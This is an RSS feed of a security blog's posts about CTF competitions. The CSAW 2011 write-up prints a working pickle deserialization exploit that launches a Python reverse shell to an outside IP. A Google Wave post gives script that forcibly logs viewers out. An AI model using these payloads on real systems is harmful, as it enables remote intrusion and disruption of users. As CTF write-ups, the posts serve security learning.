<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>stuff &#187; Security</title>
	<atom:link href="http://blog.beford.org/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.beford.org</link>
	<description></description>
	<lastBuildDate>Tue, 18 Oct 2011 11:33:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>CSAW 2011 &#8211; Reversing &#8211; Python 200</title>
		<link>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/</link>
		<comments>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 06:43:41 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[csaw]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=231</guid>
		<description><![CDATA[Python &#8211; 200 Points  nc csawctf.poly.edu 53080 When we connected to the port it was running a service Haderper: ----------------------------- &#124; Welcome to Haderper! &#124; &#124; Please enter your command &#124; ----------------------------- &#62; help Haderper v0.1-alpha Command help: help - &#8230; <a href="http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Python &#8211; 200 Points </strong></p>
<p>nc csawctf.poly.edu 53080</p></blockquote>
<p>When we connected to the port it was running a service Haderper:</p>
<pre>-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
&gt; help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

&gt; derp hi
UydoaScKcDAKLg==
&gt; underp UydoaScKcDAKLg==
hi
&gt;</pre>
<p>If we decode the base64 string we can see that it looks like a Pickle dump file:</p>
<pre>$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0</pre>
<p>After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">reverse shell cheatsheet.</a></p>
<pre>
# credits for this code goes to <a href="http://mail.python.org/pipermail/python-list/2002-July/756407.html">Jeff Epler</a>
import pickle, new, base64

def nasty(module, function, *args):
&nbsp;&nbsp;&nbsp;&nbsp;return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())

print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080
</pre>
<p>And our listening nc gets the remote shell:</p>
<pre>
$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}
</pre>
<p><strong>Key:</strong>38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db</p>
<p>You can see the code for the daemon <a href="http://pastie.org/2592716">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WGSBD2 &#8211; Campus Party Valencia 2011</title>
		<link>http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/</link>
		<comments>http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 07:48:10 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cte]]></category>

		<guid isPermaLink="false">http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2001/</guid>
		<description><![CDATA[Nuestro equipo NULL Life participó en el CTF de SecurityByDefault.com y logró finalizar de primero todos los retos, ademas de obtener el primer lugar por puntos al finalizar el evento Los miembros del equipo que participaron Daniel (Colombia), g30rg3_x (Mexico), &#8230; <a href="http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Nuestro equipo NULL Life participó en el CTF de <a href="http://securitybydefault.com/">SecurityByDefault.com</a> y logró finalizar de primero todos los retos, ademas de obtener el primer lugar por puntos al finalizar el evento <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Los miembros del equipo que participaron <a title="Seguridad Informatica" href="http://sinfocol.org">Daniel</a> (Colombia), <a href="http://g30rg3x.com/">g30rg3_x</a> (Mexico), g05u (Perú), emyei (Argentina), Perverths0 (Perú) y snr33 (Perú). Brillo por su ausencia nuestro CISSP, CEH fataku por motivos de su trabajo, o eso dice el xD</p>
<p>Por cierto, esta entrada va desde el iPad obtenida en el CTF de Campus Party Colombia, me la entregaron el dia de ayer, y ya le estamos dando un buen uso. Este ha sido un buen año para NULL Life <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p style="text-align: center;"><a href="http://blog.beford.org/wp-content/uploads/2011/07/ipad.jpg"><img class="aligncenter size-full wp-image-195" title="ipad" src="http://blog.beford.org/wp-content/uploads/2011/07/ipad.jpg" alt="" width="432" height="243" /></a></p>
<p style="text-align: center;">
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2011 &#8211; Division is HARD!!</title>
		<link>http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/</link>
		<comments>http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/#comments</comments>
		<pubDate>Thu, 28 Apr 2011 18:04:33 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=183</guid>
		<description><![CDATA[Esta vez participamos en el PlaidCTF, organizado por el Plaid Parlament of Pwning. Muchos retos, casi 40 para resolverlos en 2 dias, y con una dificultad considerable. Obtuvimos la posicion numero 42 con NULL Life, aunque nos faltaba un miembro &#8230; <a href="http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Esta vez participamos en el PlaidCTF, organizado por el Plaid Parlament of Pwning. Muchos retos, casi 40 para resolverlos en 2 dias, y con una dificultad considerable.</p>
<p>Obtuvimos la posicion numero 42 con NULL Life, aunque nos faltaba un miembro importante del equipo. Nos ubicamos por encima de los otros equipos Colombianos, el ultimo dia del ctf el equipo RICTeam nos logro empatar, pero teniamos un As bajo la manga y los pudimos dejar abajo faltando 5 minutos para terminar el CTF cuando ya poco podian hacer. Pueden ver la <a href="http://www.plaidctf.com/scoreboard">tabla de posiciones</a> completa en el <a href="http://www.plaidctf.com/">sitio de plaidctf</a>.</p>
<p>Daniel publico la solucion para el <a href="http://www.sinfocol.org/2011/04/writeup-im-feeling-lucky-plaidctf-2011">reto I&#8217;m feeling lucky</a>. Y por mi parte les publicare la solucion para Division is hard, esto para ayudarle a cierto equipo con casi 16 anios de experiencia que no pudo resolverlo (de hecho no resolvio ninguno) :C</p>
<blockquote><p>«Division is HARD!!»<br />
We found an old document in one of the AED offices. However, the text is distorted. Figure out what the corrupted value is.<br />
1.3337 ~= XXXXXXX/3145727</p></blockquote>
<p><a href="http://www.google.com.co/search?hl=es-419&amp;q=1.3337+3145727&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=">Buscando en google</a> los dos numeros presentados en el problema, podemos ver de que se trata, el error de hardware coprocesador de floating point que incluian algunos procesadores Pentium (hace 16 anios coincidencialmente ).</p>
<p><a href="http://www.ipsr.ku.edu/stafffil/hoyle/pentium_fdiv/">http://www.ipsr.ku.edu/stafffil/hoyle/pentium_fdiv/</a></p>
<p><a href="http://en.wikipedia.org/wiki/Pentium_FDIV_bug">http://en.wikipedia.org/wiki/Pentium_FDIV_bug</a></p>
<p>Al realizar la division 4195835/3145727 en un procesador afectado devolvería 1.3337 cuando el resultado correcto es 1,3338. La respuesta del reto era 4195835.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox 3.6.19 Remote Code Execution</title>
		<link>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/</link>
		<comments>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/#comments</comments>
		<pubDate>Fri, 15 Apr 2011 06:32:08 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[mozilla]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=176</guid>
		<description><![CDATA[To be disclosed soon. &#160;]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.beford.org/wp-content/uploads/2011/04/minefield-icon.png"><img class="aligncenter size-full wp-image-178" title="minefield-icon" src="http://blog.beford.org/wp-content/uploads/2011/04/minefield-icon.png" alt="" width="128" height="128" /></a></p>
<p>To be disclosed soon.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nuit Du Hack 2011 Prequals</title>
		<link>http://blog.beford.org/2011/04/11/nuit-du-hack-2011-prequals/</link>
		<comments>http://blog.beford.org/2011/04/11/nuit-du-hack-2011-prequals/#comments</comments>
		<pubDate>Mon, 11 Apr 2011 04:32:22 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=156</guid>
		<description><![CDATA[Nuestro equipo NULL Life participó hace un par de semanas en los prequal de CTF Nuit Du Hack. Logramos finalizar en la posición número 12. Este es el ranking final de los prequals: Entre los equipos que conozco de este &#8230; <a href="http://blog.beford.org/2011/04/11/nuit-du-hack-2011-prequals/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Nuestro equipo NULL Life participó hace un par de semanas en los prequal de CTF Nuit Du Hack. Logramos finalizar en la posición número 12. Este es el ranking final de los prequals:</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2011/04/Screenshot.png"><img class="aligncenter size-full wp-image-168" title="Nuit du Hack " src="http://blog.beford.org/wp-content/uploads/2011/04/Screenshot.png" alt="Nuit du Hack Prequals 2011" width="607" height="618" /></a></p>
<p>Entre los equipos que conozco de este top, esta el equipo fail0verflow, es el grupo que encontró la falla de criptografía en el PS3 <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ! holy cactus son los mismos de int3pids, Leet More, smoked chicken y Rdot.Org equipos rusos con bastante potencial.</p>
<p>Pueden ver un <a href="https://www.hackerzvoice.net/resume-prequals-nuit-du-hack-2011">resumen de las prequals</a> en el sitio de HackerzVoice, durante toda la competencia estuvimos entre los primeros equipos. Daniel publicó la lista de retos que se solucionarón y el <a href="http://www.sinfocol.org/2011/04/writeup-forensic100-nuit-du-hack-2011/">Write Up del reto forensics 100</a>.</p>
<p>Aca les dejo unos <a href="http://blog.w3challs.com/index.php?post/2011/04/05/NDH2k11-Prequals-Compte-Rendu-!">writeups por el equipo 404NameNotF0und</a> para todos los retos del prequal, acompañados del <a href="http://pastebin.com/zD6zAeDF">codigo fuente</a> para algunos retos.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/04/11/nuit-du-hack-2011-prequals/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>padocon ctf 2011</title>
		<link>http://blog.beford.org/2011/01/20/padocon-ctf-2011/</link>
		<comments>http://blog.beford.org/2011/01/20/padocon-ctf-2011/#comments</comments>
		<pubDate>Thu, 20 Jan 2011 17:44:59 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=148</guid>
		<description><![CDATA[Esta vez nuestro equipo *NULL Labs logro la posicion 19 de un total de 351 equipos registrados. Todavia nos falta bastante Daniel publicara los writeups pronto. Me parecio extrano no ver a int3pids en el top pero creo que ellos &#8230; <a href="http://blog.beford.org/2011/01/20/padocon-ctf-2011/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Esta vez nuestro equipo *NULL Labs logro la posicion 19 de un total de 351 equipos registrados. Todavia nos falta bastante <img src='http://blog.beford.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Daniel publicara los writeups pronto. </p>
<p>Me parecio extrano no ver a int3pids en el top pero creo que ellos se enfocaron mas en el ctf de secbydefault.</p>
<p>No pudimos hacer nada para el ctf de securitybydefault por falta de tiempo, pero bueno a quien se le ocurre hacer dos ctf el mismo fin de semana <img src='http://blog.beford.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/01/20/padocon-ctf-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BarcampSE Colombia 2010 Wargame</title>
		<link>http://blog.beford.org/2010/12/06/barcampse-colombia-2010-wargame/</link>
		<comments>http://blog.beford.org/2010/12/06/barcampse-colombia-2010-wargame/#comments</comments>
		<pubDate>Mon, 06 Dec 2010 03:13:07 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=139</guid>
		<description><![CDATA[Somos los primeros en terminar el wargame de BarcampSE 2010 ! Daniel ya envio el writeup de los retos y esperamos que mañana mismo le entreguen el premio y pueda publicar en sinfocol.org los write ups para que todos los &#8230; <a href="http://blog.beford.org/2010/12/06/barcampse-colombia-2010-wargame/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Somos los primeros en terminar el wargame de BarcampSE 2010 ! <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><a href="http://sinfocol.org">Daniel</a> ya envio el writeup de los retos y esperamos que mañana mismo le entreguen el premio y pueda publicar en <a href="http://sinfocol.org">sinfocol.org</a> los write ups para que todos los puedan ver. Ademas de unas fotos del premio xD</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2010/12/06/barcampse-colombia-2010-wargame/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Explotar vulnerabilidad LNK</title>
		<link>http://blog.beford.org/2010/07/27/explotar-vulnerabilidad-lnk/</link>
		<comments>http://blog.beford.org/2010/07/27/explotar-vulnerabilidad-lnk/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 17:40:20 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[spanish]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=100</guid>
		<description><![CDATA[Gracias al analisis sobre la vulnerabilidad y explotacion de LNK realizado por Daniel, se pudo crear un archivo LNK indetectable por los Antivirus que reproduce esta falla, les recomiendo esta lectura a los que esten interesados en este bug.]]></description>
			<content:encoded><![CDATA[<p>Gracias al <a title="Análisis vulnerabilidad CVE-2010-2568 (Archivos .LNK)" href="http://www.sinfocol.org/2010/07/analisis-vulnerabilidad-cve-2010-2568/">analisis sobre la vulnerabilidad y explotacion de LNK</a> realizado por Daniel, se pudo crear un archivo LNK indetectable por los Antivirus que reproduce esta falla, les recomiendo esta lectura a los que esten interesados en este bug.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2010/07/27/explotar-vulnerabilidad-lnk/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Defcon and smpCTF 2010 PreQuals</title>
		<link>http://blog.beford.org/2010/07/12/defcon-and-smpctf-2010-prequals/</link>
		<comments>http://blog.beford.org/2010/07/12/defcon-and-smpctf-2010-prequals/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 18:16:23 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[smpctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=98</guid>
		<description><![CDATA[Este año participé con el equipo de Daniel en los Prequals de Defcon y smpCTF. Fue una gran experiencia, no habia participado en este tipo de eventos hace varios años, desde que deje de resolver los retos de Yashira, logramos &#8230; <a href="http://blog.beford.org/2010/07/12/defcon-and-smpctf-2010-prequals/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Este año participé con el equipo de <a href="http://sinfocol.org">Daniel</a> en los Prequals de Defcon y smpCTF. Fue una gran experiencia, no habia participado en este tipo de eventos hace varios años, desde que deje de resolver los retos de Yashira, logramos quedar en las posiciones 91/266 en Defcon y 30/196 en el smpCTF, por encima de otros equipos de Colombia.</p>
<p>Daniel ya publicó algunos papers sobre Defcon, y pronto colocará los nuevos sobre smpCTF.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2010/07/12/defcon-and-smpctf-2010-prequals/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google Wave &#8211; Make your friends logout gadget</title>
		<link>http://blog.beford.org/2009/11/20/google-wave-make-your-friends-logout-gadget/</link>
		<comments>http://blog.beford.org/2009/11/20/google-wave-make-your-friends-logout-gadget/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 04:04:14 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[wave]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=58</guid>
		<description><![CDATA[Adding this gadget to any wave will make people log out when they see it: http://beford.org/stuff/waveg.xml The code: &#60;script type="text/javascript"&#62; top.location="https://wave.google.com/wave/logout"; &#60;/script&#62;]]></description>
			<content:encoded><![CDATA[<p>Adding this gadget to any wave will make people log out when they see it:</p>
<p><a href="http://beford.org/stuff/waveg.xml">http://beford.org/stuff/waveg.xml</a></p>
<p>The code:</p>
<p><code>&lt;script type="text/javascript"&gt;<br />
top.location="https://wave.google.com/wave/logout";<br />
&lt;/script&gt;</code></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2009/11/20/google-wave-make-your-friends-logout-gadget/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

